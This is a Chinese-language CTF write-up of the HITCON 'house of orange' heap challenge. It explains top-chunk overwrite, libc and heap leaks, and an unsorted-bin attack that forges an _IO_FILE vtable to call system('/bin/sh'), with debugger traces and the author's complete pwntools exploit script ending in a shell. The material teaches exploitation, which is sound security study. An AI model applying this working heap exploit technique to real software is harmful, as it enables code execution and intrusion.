CTF PWN之house of orange

题目链接:https://github.com/giantbranch/CTF_PWN/tree/master/other/houseoforange

讲解题目

这是一个HITCON中的经典题目了,通过对buildhouse函数的逆向可以得到下面两个结构体

1
2
3
4
5
6
7
8
9
struct house{
struct orange* point;
qword* name;
}
struct orange{
dword price
dword color;
}

所以在ida新建结构体,当然这题好像没啥太大的帮助

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000 orange struc ; (sizeof=0x8, mappedto_6)
00000000 ; XREF: house/r
00000000 price dd ?
00000004 color dd ?
00000008 orange ends
00000008
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 house struc ; (sizeof=0x10, mappedto_7)
00000000 orangePoint orange ?
00000008 name dq ?
00000010 house ends
00000010
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]

保护是全开的

1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

总体思路:

1、通过upgrade的溢出覆盖topchunk size,那么我们再build,原来的topchunk就到unsortbin去了,就有了libc指针

注意:topchunk size的覆盖是有限制的,最低位要是1,跟topchunk的其实地址加起来要跟0x1000对齐,还有要大于MINSIZE (好像是0x10)

1
2
3
4
5
######### overwrite top chunk size
build(0x10, "A"*0x10, 10, 1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10, 1)

2、接下来我们申请一个largebin大小的(因为有fd_nextsize和bk_nextsize,可以泄露heap的地址),我们只覆盖前8个字节就可以leak出libc了

注:64位下,largebin最小大小是0x400,即1024字节,要申请largebin大小,必须大于等于0x3e9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10, 1)
# build(0x3e9, "A"*8, 10, 1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)

3、之后再覆盖0x10大小,泄露heap地址

1
2
3
4
5
6
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

4、最后就利用溢出覆盖unsortbin的bk,实行unsortbin attack,将_IO_list_all指针指向了main_arena+0x58,那么链表指针_chain指向了smallbin[4],即第5个smallbin——0x60大小的。而我们之前就将unsortbin的size改为0x61,所以我们再申请的时候,他首先就会放到smallbin[4],最后我们伪造vtable即可

查看unsortbin位置,可以看到确实chain指向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p *((struct _IO_FILE_plus*)0x7f742fb8db78)
$13 = {
file = {
_flags = 0xf12befc0,
_IO_read_ptr = 0x559af129d4f0 "",
_IO_read_end = 0x559af129d4f0 "",
_IO_read_base = 0x7f742fb8e510 "",
_IO_write_base = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U",
_IO_write_ptr = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U",
_IO_write_end = 0x7f742fb8db98 <main_arena+120> "\210?/t\177",
_IO_buf_base = 0x7f742fb8db98 <main_arena+120> "\210?/t\177",
_IO_buf_end = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177",
_IO_save_base = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177",
_IO_backup_base = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177",
_IO_save_end = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177",
_markers = 0x7f742fb8dbc8 <main_arena+168>,
_chain = 0x7f742fb8dbc8 <main_arena+168>,
_fileno = 0x2fb8dbd8,
_flags2 = 0x7f74,
_old_offset = 0x7f742fb8dbd8,
_cur_column = 0xdbe8,
_vtable_offset = 0xb8,
_shortbuf = "/",
_lock = 0x7f742fb8dbe8 <main_arena+200>,
_offset = 0x7f742fb8dbf8,
_codecvt = 0x7f742fb8dbf8 <main_arena+216>,
_wide_data = 0x7f742fb8dc08 <main_arena+232>,
_freeres_list = 0x7f742fb8dc08 <main_arena+232>,
_freeres_buf = 0x7f742fb8dc18 <main_arena+248>,
__pad5 = 0x7f742fb8dc18,
_mode = 0x2fb8dc28,
_unused2 = "t\177\000\000(?/t\177\000\000\070?/t"...
},
vtable = 0x7f742fb8dc38 <main_arena+280>
}

那么整个过程怎么触发的呢?

我们修改了bk后,那当我们再次申请内存的时候,其他bins都没有可用的,而unsortbin有可用的内存,就会遍历unsortbin列表,不合适就将bin拖链放到对应的bins列表,比如0x60大小的就放到smallbin那里了,这时候就通过unsortbin attack修改了_IO_list_all,即下面代码的bck->fd = unsorted_chunks (av);,将unsortbin的头指针写到了bck的fd,即我们要写到(_IO_list_all-0x10)->fd,也即写到_IO_list_all(注:av的类型是malloc_state,即mstate,他指向main_arena),再次遍历下一个时由于size为0即_IO_list_all-8处为0,触发的异常,从而劫持控制力,详细请看附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
size = chunksize (victim);
.............
.............
.............
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
.............
.............
.............

还有我们伪造的IO_FILE需要满足一些条件,才能调用_IO_OVERFLOW

1
2
3
4
5
6
7
8
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

那么_IO_OVERFLOW指针覆盖为system,fp头指针我们设置为/bin/sh

最终即可成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
[+] Starting local process './houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': pid 6012
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
largebin_leak = 0x7fbfa9142188
main_arena = 0x7fbfa9141b20
libc_base = 0x7fbfa8d7d000
system = 0x7fbfa8dc2390
_IO_list_all = 0x7fbfa9142520
heap_addr = 0x55dab4acf0c0
0x520
[*] Switching to interactive mode
*** Error in `./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': malloc(): memory corruption: 0x00007fbfa9142520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbfa8df47e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fbfa8dff13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fbfa8e01184]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xd6d)[0x55dab2fc4d6d]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0x1402)[0x55dab2fc5402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbfa8d9d830]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xb19)[0x55dab2fc4b19]
======= Memory map: ========
55dab2fc4000-55dab2fc7000 r-xp 00000000 08:01 402634 /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c6000-55dab31c7000 r--p 00002000 08:01 402634 /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c7000-55dab31c8000 rw-p 00003000 08:01 402634 /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab4acf000-55dab4b12000 rw-p 00000000 00:00 0 [heap]
7fbfa4000000-7fbfa4021000 rw-p 00000000 00:00 0
7fbfa4021000-7fbfa8000000 ---p 00000000 00:00 0
7fbfa8b67000-7fbfa8b7d000 r-xp 00000000 08:01 2626521 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8b7d000-7fbfa8d7c000 ---p 00016000 08:01 2626521 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7c000-7fbfa8d7d000 rw-p 00015000 08:01 2626521 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7d000-7fbfa8f3d000 r-xp 00000000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa8f3d000-7fbfa913d000 ---p 001c0000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa913d000-7fbfa9141000 r--p 001c0000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9141000-7fbfa9143000 rw-p 001c4000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9143000-7fbfa9147000 rw-p 00000000 00:00 0
7fbfa9147000-7fbfa916d000 r-xp 00000000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa9351000-7fbfa9354000 rw-p 00000000 00:00 0
7fbfa936b000-7fbfa936c000 rw-p 00000000 00:00 0
7fbfa936c000-7fbfa936d000 r--p 00025000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936d000-7fbfa936e000 rw-p 00026000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936e000-7fbfa936f000 rw-p 00000000 00:00 0
7ffc73a63000-7ffc73a84000 rw-p 00000000 00:00 0 [stack]
7ffc73b8c000-7ffc73b8f000 r--p 00000000 00:00 0 [vvar]
7ffc73b8f000-7ffc73b91000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ id
uid=1000(giantbranch) gid=1000(giantbranch) groups=1000(giantbranch)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-12-29 14:03:27
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :
# struct house{
# struct orange* point;
# qword* name;
# }
# struct orange{
# dword price
# dword color;
# }
from pwn import *
# context.log_level = "debug"
p = process("./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# 1. Red
# 2. Green
# 3. Yellow
# 4. Blue
# 5. Purple
# 6. Cyan
# 7. White
def build(nameLen, name, price, color):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("Length of name :")
p.sendline(str(nameLen))
p.recvuntil("Name :")
p.send(name)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline(str(color))
def see():
p.recvuntil("Your choice : ")
p.sendline("2")
def upgrade(nameLen, name, price, color):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("Length of name :")
p.sendline(str(nameLen))
p.recvuntil("Name:")
p.send(name)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline(str(color))
def getpid():
print proc.pidof(p)[0]
pause()
main_arena_offset = 0x3c4b20
######### overwrite top chunk size
build(0x10, "A"*0x10, 10, 1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10, 1)
######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10, 1)
# build(0x3e9, "A"*8, 10, 1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)
# getpid()
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)
# unsortbin attack to write _IO_list_all
payload = "A" * 0x400 # padding
payload += p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0)
# fake_file: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fake_file = "/bin/sh\x00" + p64(0x61)
fake_file += p64(0xaabbccdd) + p64(_IO_list_all-0x10) #unsortbin attack
fake_file += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_file += p64(0) * 18
fake_file += p64(0) # fp->_mode <= 0
fake_file += p64(0) * 2 # _unused2
fake_file += p64(heap_addr + 0x510) # vtable_point (point to next)
payload += fake_file
payload += p64(0) * 3 # vtable
payload += p64(system) # __overflow <-- system
print hex(len(payload))
# getpid()
upgrade(0x6666, payload, 11, 2)
# getshell
p.recvuntil("Your choice : ")
p.sendline("1")
p.interactive()

附录——调试最后的流程劫持过程

首先下个硬件断点:watch _IO_list_all

断下来,由于开启了源码调试,我们看源码吧,bck->fd = unsorted_chunks (av);就是将unsorted_bin的头指针写到_IO_list_all的代码

1
2
3
4
5
6
7
8
9
10
11
3515 unsorted_chunks (av)->bk = bck;
3516 bck->fd = unsorted_chunks (av);
3517
3518 /* Take now instead of binning if exact fit */
3519
► 3520 if (size == nb)
3521 {
3522 set_inuse_bit_at_offset (victim, size);
3523 if (av != &main_arena)
3524 victim->size |= NON_MAIN_ARENA;
3525 check_malloced_chunk (av, victim, nb);

继续调试

下面的代码是不会进去的,因为这是刚好满足的情况

1
2
3
4
5
6
7
8
9
10
11
12
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

接下来是进入这里

1
2
3
4
5
6
3533 if (in_smallbin_range (size))
3534 {
► 3535 victim_index = smallbin_index (size);
3536 bck = bin_at (av, victim_index);
3537 fwd = bck->fd;
3538 }

接下来的操作是,将这个chunk放到对应的bin上,比如这里就放到0x60的bins上

1
2
3
4
5
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

此时这个0x60大小的chunk已经放入smallbin了

1
2
3
gdb-peda$ smallbin
smallbins
0x60: 0x55bc09c5a4f0 —▸ 0x7f32413d8bc8 (main_arena+168) ◂— 0x55bc09c5a4f0

接下来就去下一个unsortbin的chunk了

1
2
3
4
5
6
7
8
9
10
11
3464 */
3465
3466 for (;; )
3467 {
3468 int iters = 0;
► 3469 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3470 {
3471 bck = victim->bk;
3472 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
3473 || __builtin_expect (victim->size > av->system_mem, 0))
3474 malloc_printerr (check_action, "malloc(): memory corruption",

接下来由于_IO_list_all那边的size为0

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x /20gx 0x7f32413d9510
0x7f32413d9510: 0x0000000000000000 0x0000000000000000
0x7f32413d9520 <_IO_list_all>: 0x00007f32413d8b78 0x0000000000000000
0x7f32413d9530: 0x0000000000000000 0x0000000000000000
0x7f32413d9540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7f32413d9550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7f32413d9560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7f32413d9570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7f32413d9580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7f32413d9590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f32413d95a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f32413d9620

具体可以看看调试,rsi为0,就是size为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
──────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7f32413d8b20 (main_arena) ◂— 0x100000001
RCX 0x6
RDX 0x40
RDI 0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
RSI 0x0
R8 0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
R9 0x1999999999999999
R10 0x0
R11 0x7f324118b5e0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R12 0x7f32413d8b78 (main_arena+88) —▸ 0x55bc09c7bfc0 ◂— 0x0
R13 0x7f32413d9510 ◂— 0x0
R14 0x270f
R15 0x0
RBP 0x20
RSP 0x7ffe04d39120 ◂— 0x2
RIP 0x7f3241095ddc (_int_malloc+604) ◂— cmp rsi, 0x10
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
0x7f3241095dc7 <_int_malloc+583> mov r13, qword ptr [rbx + 0x70]
0x7f3241095dcb <_int_malloc+587> cmp r13, r12
0x7f3241095dce <_int_malloc+590> je _int_malloc+1511 <0x7f3241096167>
0x7f3241095dd4 <_int_malloc+596> mov rsi, qword ptr [r13 + 8]
0x7f3241095dd8 <_int_malloc+600> mov r15, qword ptr [r13 + 0x18]
► 0x7f3241095ddc <_int_malloc+604> cmp rsi, 0x10
0x7f3241095de0 <_int_malloc+608> jbe _int_malloc+960 <0x7f3241095f40>
0x7f3241095f40 <_int_malloc+960> mov r10d, dword ptr [rip + 0x342209] <0x7f32413d8150>
0x7f3241095f47 <_int_malloc+967> or dword ptr [rbx + 4], 4
0x7f3241095f4b <_int_malloc+971> mov eax, r10d
0x7f3241095f4e <_int_malloc+974> and eax, 5
────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/malloc/malloc.c
3467 {
3468 int iters = 0;
3469 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3470 {
3471 bck = victim->bk;
► 3472 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
3473 || __builtin_expect (victim->size > av->system_mem, 0))
3474 malloc_printerr (check_action, "malloc(): memory corruption",
3475 chunk2mem (victim), av);
3476 size = chunksize (victim);
3477
────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe04d39120 ◂— 0x2
01:0008│ 0x7ffe04d39128 ◂— 0x10
02:0010│ 0x7ffe04d39130 —▸ 0x7ffe04d391a0 ◂— 0xa /* '\n' */
03:0018│ 0x7ffe04d39138 —▸ 0x7ffe04d39340 ◂— 0x1
04:0020│ 0x7ffe04d39140 ◂— 0x0
... ↓
06:0030│ 0x7ffe04d39150 ◂— 0xffff8001fb2c6e61
07:0038│ 0x7ffe04d39158 —▸ 0x7ffe04d3919f ◂— 0xa00
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► f 0 7f3241095ddc _int_malloc+604
f 1 7f3241098184 malloc+84
f 2 55bc08934d6d
f 3 55bc08935402
f 4 7f3241034830 __libc_start_main+240

那么接下来就进入了malloc_printerr这个函数了

1
2
► 3474 malloc_printerr (check_action, "malloc(): memory corruption",
3475 chunk2mem (victim), av);

接下来直接运行,崩溃,可以看到调用顺序是malloc_printerr---->__libc_message---->__GI_abort---->_IO_flush_all_lockp

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ bt
#0 0x00007f32413d8c38 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007f3241090196 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
#2 0x00007f324104afbd in __GI_abort () at abort.c:74
#3 0x00007f324108b7ea in __libc_message (do_abort=0x2, fmt=fmt@entry=0x7f32411a4ed8 "*** Error in `%"...) at ../sysdeps/posix/libc_fatal.c:175
#4 0x00007f324109613e in malloc_printerr (ar_ptr=0x7f32413d8b20 <main_arena>, ptr=0x7f32413d9520 <_IO_list_all>, str=0x7f32411a1d3f "malloc(): memor"..., action=<optimized out>) at malloc.c:5006
#5 _int_malloc (av=av@entry=0x7f32413d8b20 <main_arena>, bytes=bytes@entry=0x10) at malloc.c:3474
#6 0x00007f3241098184 in __GI___libc_malloc (bytes=0x10) at malloc.c:2913
#7 0x000055bc08934d6d in ?? ()
#8 0x000055bc08935402 in ?? ()
#9 0x00007f3241034830 in __libc_start_main (main=0x55bc089353af, argc=0x1, argv=0x7ffe04d39348, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe04d39338) at ../csu/libc-start.c:291
#10 0x000055bc08934b19 in ?? ()

所以经过上面的调试你理解4ngelboy的图了吧

附录2:_IO_flush_all_lockp流程

首先获取头指针

1
2
3
4
5
6
7
8
9
10
11
768 _IO_lock_lock (list_all_lock);
769 #endif
770
771 last_stamp = _IO_list_all_stamp;
772 fp = (_IO_FILE *) _IO_list_all;
► 773 while (fp != NULL)
774 {
775 run_fp = fp;
776 if (do_lock)
777 _IO_flockfile (fp);
778

之后就到达判断处

1
2
3
4
5
► 779 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
780 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
781 || (_IO_vtable_offset (fp) == 0
782 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
783 > fp->_wide_data->_IO_write_base))

由于第一个_IO_FILE_plus条件不满足直接跳过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p *(struct _IO_FILE_plus *)0x7f6d94f61b78
$19 = {
file = {
_flags = 0x660a0fc0,
_IO_read_ptr = 0x55fc6607f4f0 "/bin/sh",
_IO_read_end = 0x55fc6607f4f0 "/bin/sh",
_IO_read_base = 0x7f6d94f62510 "",
_IO_write_base = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U",
_IO_write_ptr = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U",
_IO_write_end = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177",
_IO_buf_base = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177",
_IO_buf_end = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177",
_IO_save_base = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177",
_IO_backup_base = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177",
_IO_save_end = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177",
_markers = 0x55fc6607f4f0,
_chain = 0x55fc6607f4f0,
_fileno = 0x94f61bd8,
_flags2 = 0x7f6d,
_old_offset = 0x7f6d94f61bd8,
_cur_column = 0x1be8,
_vtable_offset = 0xf6,
_shortbuf = "\224",
_lock = 0x7f6d94f61be8 <main_arena+200>,
_offset = 0x7f6d94f61bf8,
_codecvt = 0x7f6d94f61bf8 <main_arena+216>,
_wide_data = 0x7f6d94f61c08 <main_arena+232>,
_freeres_list = 0x7f6d94f61c08 <main_arena+232>,
_freeres_buf = 0x7f6d94f61c18 <main_arena+248>,
__pad5 = 0x7f6d94f61c18,
_mode = 0x94f61c28,
_unused2 = "m\177\000\000(\034\366\224m\177\000\000\070\034\366"...
},
vtable = 0x7f6d94f61c38 <main_arena+280>
}

之后通过_chain获取下一个_IO_FILE_plus

1
2
3
4
5
6
7
8
9
10
11
795 /* Something was added to the list. Start all over again. */
796 fp = (_IO_FILE *) _IO_list_all;
797 last_stamp = _IO_list_all_stamp;
798 }
799 else
► 800 fp = fp->_chain;
801 }
802
803 #ifdef _IO_MTSAFE_IO
804 if (do_lock)
805 _IO_lock_unlock (list_all_lock);

满足条件就进入了if,执行_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
781 || (_IO_vtable_offset (fp) == 0
782 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
783 > fp->_wide_data->_IO_write_base))
784 #endif
785 )
► 786 && _IO_OVERFLOW (fp, EOF) == EOF)
787 result = EOF;
788
789 if (do_lock)
790 _IO_funlockfile (fp);
791 run_fp = NULL;

最终执行的是我们的system,rdi也就是fp,就是/bin/sh,getshell没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────
RAX 0x55fc6607f5d0 ◂— 0x0
RBX 0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
RCX 0x7f6d94bd2730 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0xffffffff
R8 0x4
R9 0x0
R10 0x8
R11 0x246
R12 0x7f6d95172700 ◂— 0x7f6d95172700
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
RIP 0x7f6d94c19193 (_IO_flush_all_lockp+371) ◂— call qword ptr [rax + 0x18]
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
0x7f6d94c19284 <_IO_flush_all_lockp+612> cmp qword ptr [rbx + 0x28], rax
0x7f6d94c19288 <_IO_flush_all_lockp+616> ja _IO_flush_all_lockp+356 <0x7f6d94c19184>
0x7f6d94c19184 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8]
0x7f6d94c1918b <_IO_flush_all_lockp+363> mov esi, 0xffffffff
0x7f6d94c19190 <_IO_flush_all_lockp+368> mov rdi, rbx
► 0x7f6d94c19193 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] <0x7f6d94be2390>
0x7f6d94c19196 <_IO_flush_all_lockp+374> cmp eax, -1
0x7f6d94c19199 <_IO_flush_all_lockp+377> mov eax, 0xffffffff
0x7f6d94c1919e <_IO_flush_all_lockp+382> cmove ebp, eax
0x7f6d94c191a1 <_IO_flush_all_lockp+385> test r14d, r14d
0x7f6d94c191a4 <_IO_flush_all_lockp+388> je _IO_flush_all_lockp+464 <0x7f6d94c191f0>
──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/libio/genops.c
781 || (_IO_vtable_offset (fp) == 0
782 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
783 > fp->_wide_data->_IO_write_base))
784 #endif
785 )
► 786 && _IO_OVERFLOW (fp, EOF) == EOF)
787 result = EOF;
788
789 if (do_lock)
790 _IO_funlockfile (fp);
791 run_fp = NULL;
──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
01:0008│ 0x7ffcd401da38 ◂— 0x66370a2030203030 ('00 0 \n7f')
02:0010│ 0x7ffcd401da40 ◂— 0x3063383135396436 ('6d9518c0')
03:0018│ 0x7ffcd401da48 ◂— 0x39643666372d3030 ('00-7f6d9')
04:0020│ 0x7ffcd401da50 ◂— '518d000 }'
